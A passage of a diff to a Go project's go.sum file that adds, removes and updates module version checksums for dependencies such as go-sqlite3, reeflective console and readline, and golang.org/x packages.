h1:dfYrrRyLtiqT9GyKXgdh+k4inNeTvmGbuSgZ3lx3GhA= +github.com/frankban/quicktest v1.14.5/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0= github.com/fxamacker/cbor/v2 v2.4.0 h1:ri0ArlOR+5XunOP8CRUowT0pSJOwhW098ZCUyskZD88= github.com/fxamacker/cbor/v2 v2.4.0/go.mod h1:TA1xS00nchWmaBnEIxPSE5oHLuJBAVvqrtAnWBwBCVo= github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY= @@ -170,6 +179,7 @@ github.com/google/btree v1.1.2 h1:xf4v41cLI2Z6FxbKm+8Bu+m8ifhj15JuZ9sa0jZCMUU= github.com/google/btree v1.1.2/go.mod h1:qOPhT0dTNdNzV6Z/lhRX0YXUafgPLFUh+gZMl761Gm4= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE= @@ -178,6 +188,7 @@ github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26 h1:Xim43kblpZXfIBQsbuBVKCudVG457BR2GZFIz3uw3hQ= +github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26/go.mod h1:dDKJzRmX4S37WGHujM7tX//fmj1uioxKzKxz3lo4HJo= github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= @@ -228,6 +239,7 @@ github.com/jsimonetti/rtnetlink v1.3.2 h1:dcn0uWkfxycEEyNy0IGfx3GrhQ38LH7odjxAgh github.com/jsimonetti/rtnetlink v1.3.2/go.mod h1:BBu4jZCpTjP6Gk0/wfrO8qcqymnN3g0hoFqObRmUo6U= github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= +github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs= github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8= github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f h1:5hWo+DzJQSOBl6X+TDac0SPWffRonuRJ2///OYtYRT8= @@ -241,12 +253,15 @@ github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxv github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a h1:+RR6SqnTkDLWyICxS1xpjCi/3dhyV+TgZwA6Ww3KncQ= github.com/kortschak/wol v0.0.0-20200729010619-da482cc4850a/go.mod h1:YTtCCM3ryyfiu4F7t8HQ1mxvp1UBdWM2r6Xa+nGWvDk= github.com/kr/fs v0.1.0 h1:Jskdu9ieNAYnjxsi0LbQp1ulIKZV1LAFgK1tWhpZgl8= +github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= +github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/pty v1.1.4/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= +github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo= github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80/go.mod h1:imJHygn/1yfhB7XSJJKlFZKl/J+dCPAknuiaGOshXAs= github.com/leodido/go-urn v1.2.0 h1:hpXL4XnriNwQ/ABnpepYM/1vCLWNDfUNts8dX3xTG6Y= @@ -295,14 +310,18 @@ github.com/mitchellh/go-ps v1.0.0 h1:i6ampVEEF4wQFF+bkYfwYgY+F/uYJDktmvLPf7qIgjc github.com/mitchellh/go-ps v1.0.0/go.mod h1:J4lOc8z8yJs6vUwklHw2XEIiT4z4C40KtWVN3nvg8Pg= github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= +github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M= +github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= github.com/moloch--/asciicast v0.1.0 h1:eBOJwuFKSk447s/kPs9MWsc4kAl5HmuKIDLDYD6/RrM= github.com/moloch--/asciicast v0.1.0/go.mod h1:OckO16UDLgxVLclrCnbocL1ix15Br/8Xv/caBoYq98o= github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 h1:m3yCfV8Vqp4MF1B+gPPjbjINdufl0UXqyYplE0aGhx8= github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4HaTofvhFUZYtofeRbGXfczNwCie9MYoM4lP/o= -github.com/ncruces/go-sqlite3 v0.7.2 h1:K7jU4rnUxFdUsbEL+B0Xc+VexLTEwGSO6Qh91Qh4hYc= -github.com/ncruces/go-sqlite3 v0.7.2/go.mod h1:t3dP4AP9rJddU+ffFv0h6fWyeOCEhjxrYc1nsYG7aQI= +github.com/ncruces/go-sqlite3 v0.8.4 h1:nizhgJMMJJBrthESCwF30+oOvQkdtizgJ/v35Y0v+vg= +github.com/ncruces/go-sqlite3 v0.8.4/go.mod h1:XvDtjKk5MgwHX7L4I7BPzzKl36bTZ7+Hr6Kr2QeVkVw= +github.com/ncruces/go-sqlite3/gormlite v0.8.4 h1:omeGR0XofGGwlbWB5QSEdPQC0j58fDEULrVMLXTIt+M= +github.com/ncruces/go-sqlite3/gormlite v0.8.4/go.mod h1:52uZNxrd8iQVjmxE6l3Dt71zoHpwnoDDFIqB1wW1+Cg= github.com/ncruces/julianday v0.1.5 h1:hDJ9ejiMp3DHsoZ5KW4c1lwfMjbARS7u/gbYcd0FBZk= github.com/ncruces/julianday v0.1.5/go.mod h1:Dusn2KvZrrovOMJuOt0TNXL6tB7U2E8kvza5fFc9G7g= github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= @@ -316,22 +335,28 @@ github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/profile v1.6.0/go.mod h1:qBsxPvzyUincmltOk6iyRVxHYg4adc0OFOv72ZdLa18= github.com/pkg/sftp v1.13.5 h1:a3RLUqkyjYRtBTZJZ1VRrKbN3zhuPLlUc3sphVz81go= +github.com/pkg/sftp v1.13.5/go.mod h1:wHDZ0IZX6JcBYRK1TH9bcVq8G7TLpVHYIGJRFnmPfxg= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= -github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca h1:tD797h1qmNtS/2z6Y7EtIg7OXEDaoSuULsUoksEepmQ= -github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca/go.mod h1:jkLt41Ne2TD2xPuMdX/2O05Smhy8vMgG7O2TYvC0yOc= -github.com/reeflective/console v0.1.6 h1:BhhvQU/m8QOpaIRzrXfwcbtkGQJX9jVR5qIqAy/Mcuw= -github.com/reeflective/console v0.1.6/go.mod h1:7owTBE9k2lg2QpVw7g4DrK1HxEgr/5DQCmA3O2Znoek= -github.com/reeflective/readline v1.0.8 h1:VuDGI82lAwl1H5by+hpW4OQgM+9ikh6EuOySQUGP3sI= -github.com/reeflective/readline v1.0.8/go.mod h1:5JgnHb/ZCvp/6RUA59HEansPBxWTkyBO4hJ5LL9Fp1Y= +github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e h1:51xcRlSMBU5rhM9KahnJGfEsBPVPz3182TgFRowA8yY= +github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e/go.mod h1:tcaRap0jS3eifrEEllL6ZMd9dg8IlDpi2S1oARrQ+NI= +github.com/reeflective/carapace v0.25.2-0.20230816093630-a30f5184fa0d h1:RK0OaQs+3CMJnfXc5SNEg+Kbu4A2AVljPuG5/HcaUdM= +github.com/reeflective/carapace v0.25.2-0.20230816093630-a30f5184fa0d/go.mod h1:jkLt41Ne2TD2xPuMdX/2O05Smhy8vMgG7O2TYvC0yOc= +github.com/reeflective/console v0.1.8 h1:PZaQxh53zBNqB968RBnRRpUlQNhktZxEYKHhMUaifqU= +github.com/reeflective/console v0.1.8/go.mod h1:hnei2839LkOh6N4m2rTx2Vx3QAVkF9X74BG7MKbIljs= +github.com/reeflective/readline v1.0.9 h1:ZA+V4HIWonwn8B4gUaaKwPtBogch19qgdk1I+hqULdk= +github.com/reeflective/readline v1.0.9/go.mod h1:mcD0HxNVJVteVwDm9caXKg52nQACVyfh8EyuBmgVlzY= +github.com/reeflective/team v0.1.1 h1:6kWg+LwrYAV/QIjPfXZFp8wA9cEj4IUEE1L9BGOal0U= +github.com/reeflective/team v0.1.1/go.mod h1:vl9Qz2nXOy+iOHIQPm15Dno3NXn6LO8+7M3bKTaKIC8= github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= github.com/rivo/uniseg v0.4.4 h1:8TfxU8dW6PdqD27gjM8MVNuicgxIjxpm4K7x4jp8sis= github.com/rivo/uniseg v0.4.4/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= -github.com/rogpeppe/go-internal v1.10.0 h1:TMyTOH3F/DB16zRVcYyreMH6GnZZrwQVAoYjRBZyWFQ= +github.com/rogpeppe/go-internal v1.11.0 h1:cWPaGQEPrBb5/AsnsZesgZZ9yb1OQ+GOISoDNXVBh4M= +github.com/rogpeppe/go-internal v1.11.0/go.mod h1:ddIwULY96R17DhadqLgMfk9H9tvdUzkipdSkR5nkCZA= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0= @@ -368,13 +393,14 @@ github.com/tailscale/wireguard-go v0.0.0-20230410165232-af172621b4dd h1:+fBevMGm github.com/tailscale/wireguard-go v0.0.0-20230410165232-af172621b4dd/go.mod h1:QRIcq2+DbdIC5sKh/gcAZhuqu6WT6L6G8/ALPN5wqYw= github.com/tcnksm/go-httpstat v0.2.0 h1:rP7T5e5U2HfmOBmZzGgGZjBQ5/GluWUylujl0tJ04I0= github.com/tcnksm/go-httpstat v0.2.0/go.mod h1:s3JVJFtQxtBEBC9dwcdTTXS9xFnM3SXAZwPG41aurT8= -github.com/tetratelabs/wazero v1.3.1 h1:rnb9FgOEQRLLR8tgoD1mfjNjMhFeWRUk+a4b4j/GpUM= -github.com/tetratelabs/wazero v1.3.1/go.mod h1:wYx2gNRg8/WihJfSDxA1TIL8H+GkfLYm+bIfbblu9VQ= +github.com/tetratelabs/wazero v1.4.0 h1:9/MirYvmkJ/zSUOygKY/ia3t+e+RqIZXKbylIby1WYk= +github.com/tetratelabs/wazero v1.4.0/go.mod h1:0U0G41+ochRKoPKCJlh0jMg1CHkyfK8kDqiirMmKY8A= github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0= github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33TAEeR560MdJkiXs= github.com/things-go/go-socks5 v0.0.3 h1:QtlIhkwDuLNCwW3wnt2uTjn1mQzpyjnwct2xdPuqroI= github.com/things-go/go-socks5 v0.0.3/go.mod h1:f8Zx+n8kfzyT90hXM767cP6sysAud93+t9rV90IgMcg= github.com/u-root/u-root v0.11.0 h1:6gCZLOeRyevw7gbTwMj3fKxnr9+yHFlgF3N7udUVNO8= +github.com/u-root/u-root v0.11.0/go.mod h1:DBkDtiZyONk9hzVEdB/PWI9B4TxDkElWlVTHseglrZY= github.com/u-root/uio v0.0.0-20230305220412-3e8cd9d6bf63 h1:YcojQL98T/OO+rybuzn2+5KrD5dBwXIvYBvQ2cD3Avg= github.com/u-root/uio v0.0.0-20230305220412-3e8cd9d6bf63/go.mod h1:eLL9Nub3yfAho7qB0MzZizFhTU2QkLeoVsWdHtDW264= github.com/ugorji/go v1.1.7 h1:/68gy2h+1mWMrwZFeD1kQialdSzAb432dtpeJ42ovdo= @@ -411,12 +437,13 @@ golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPh golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20220208050332-20e1d8d225ab/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= -golang.org/x/crypto v0.11.0 h1:6Ewdq3tDic1mg5xRO4milcWCfMVQhI4NkqWWvqejpuA= -golang.org/x/crypto v0.11.0/go.mod h1:xgJhtzW8F9jGdVFWZESrid1U1bjeNy4zgy5cRr/CIio= +golang.org/x/crypto v0.10.0 h1:LKqV2xt9+kDzSTfOhx4FrkEBcMrAgHSYgzywV9zcGmM= +golang.org/x/crypto v0.10.0/go.mod h1:o4eNf7Ede1fv+hwOwZsTHl9EsPFO6q6ZvYR8vYfY45I= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20230522175609-2e198f4a06a1 h1:k/i9J1pBpvlfR+9QsetwPyERsqu1GIbi967PQMq3Ivc= golang.org/x/exp v0.0.0-20230522175609-2e198f4a06a1/go.mod h1:V1LtkGg67GoY2N1AnLN78QLrzxkLyJw7RJb1gzOOz9w= golang.org/x/exp/typeparams v0.0.0-20230425010034-47ecfdc1ba53 h1:w/MOPdQ1IoYoDou3L55ZbTx2Nhn7JAhX1BBZor8qChU= +golang.org/x/exp/typeparams v0.0.0-20230425010034-47ecfdc1ba53/go.mod h1:AbB0pIl9nAr9wVwH+Z2ZpaocVmF5I4GyWCDIsVjR0bk= golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= @@ -424,8 +451,8 @@ golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHl golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= -golang.org/x/mod v0.10.0 h1:lFO9qtOdlre5W1jxS3r/4szv2/6iXxScdzjoBMXNhYk= -golang.org/x/mod v0.10.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +golang.org/x/mod v0.11.0 h1:bUO06HqtnRcc/7l71XBe4WcqTZ+3AH1J59zWDDwLKgU= +golang.org/x/mod v0.11.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= @@ -444,6 +471,7 @@ golang.org/x/net v0.11.0 h1:Gi2tvZIJyBtO9SDr1q9h5hEQCp/4L2RQ+ar0qjx2oNU= golang.org/x/net v0.11.0/go.mod h1:2L/ixqYpgIVXmeoSA/4Lu7BzTG4KIyPIryS4IsOd1oQ= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.7.0 h1:qe6s0zUXlPX80/dITx3440hWZ7GwMwgDDyrSGTPJG/g= +golang.org/x/oauth2 v0.7.0/go.mod h1:hPLQkd9LyjfXTiRohC/41GhcFqxisoUQ99sCUOHO9x4= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -451,8 +479,8 @@ golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJ golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.2.0 h1:PUR+T4wwASmuSTYdKjYHI5TD22Wy5ogLU5qZCOLxBrI= -golang.org/x/sync v0.2.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.3.0 h1:ftCYgMx6zT/asHUrPw8BLLscYtGznsLAnjq5RH9P66E= +golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= @@ -489,20 +517,20 @@ golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.4.1-0.20230131160137-e7d7f63158de/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.10.0 h1:SqMFp9UcQJZa+pmYuAKjd9xq1f0j5rLcDIk0mj4qAsA= -golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.11.0 h1:eG7RXZHdqOJ1i+0lgLgCpSXAp6M3LYlAo6osgSi0xOM= +golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= -golang.org/x/term v0.10.0 h1:3R7pNqamzBraeqj/Tj8qt1aQ2HpmlC+Cx/qL/7hn4/c= -golang.org/x/term v0.10.0/go.mod h1:lpqdcUyK/oCiQxvxVrppt5ggO2KCZ5QblwqPnfZ6d5o= +golang.org/x/term v0.9.0 h1:GRRCnKYhdQrD8kfRAdQ6Zcw1P0OcELxGLKJvtjVMZ28= +golang.org/x/term v0.9.0/go.mod h1:M6DEAAIenWoTxdKrOltXcmDY3rSplQUkrvaDU5FcQyo= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= -golang.org/x/text v0.11.0 h1:LAntKIrcmeSKERyiOh0XMV39LXS8IE9UL2yP7+f5ij4= -golang.org/x/text v0.11.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= +golang.org/x/text v0.12.0 h1:k+n5B8goJNdU7hSvEtMUz3d1Q6D/XW4COJSJR6fN0mc= +golang.org/x/text v0.12.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.3.0 h1:rg5rLMjNzMS1RkNLzCG38eapWhnYLFYXDXj2gOlr8j4= golang.org/x/time v0.3.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= @@ -536,6 +564,7 @@ golang.zx2c4.com/wireguard/windows v0.5.3/go.mod h1:9TEe8TJmtwyQebdFwAkEWOPr3prr google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6c= +google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= google.golang.org/genproto v0.0.0-20200423170343-7949de9c1215/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= @@ -557,6 +586,7 @@ gopkg.in/AlecAivazis/survey.v1 v1.8.8/go.mod h1:CaHjv79TCgAvXMSFJSVgonHXYWxnhzI3 gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= gopkg.in/jcmturner/aescts.v1 v1.0.1 h1:cVVZBK2b1zY26haWB4vbBiZrfFQnfbTVrE3xZq6hrEw= gopkg.in/jcmturner/aescts.v1 v1.0.1/go.mod h1:nsR8qBOg+OucoIW+WMhB3GspUQXq9XorLnQb9XtvcOo= gopkg.in/jcmturner/dnsutils.v1 v1.0.1 h1:cIuC1OLRGZrld+16ZJvvZxVJeKPsvd5eUIvxfoN5hSM= @@ -570,6 +600,7 @@ gopkg.in/jcmturner/rpc.v1 v1.1.0/go.mod h1:YIdkC4XfD6GXbzje11McwsDuOlZQSb9W4vfLv gopkg.in/yaml.v2 v2.2.2/go.mod 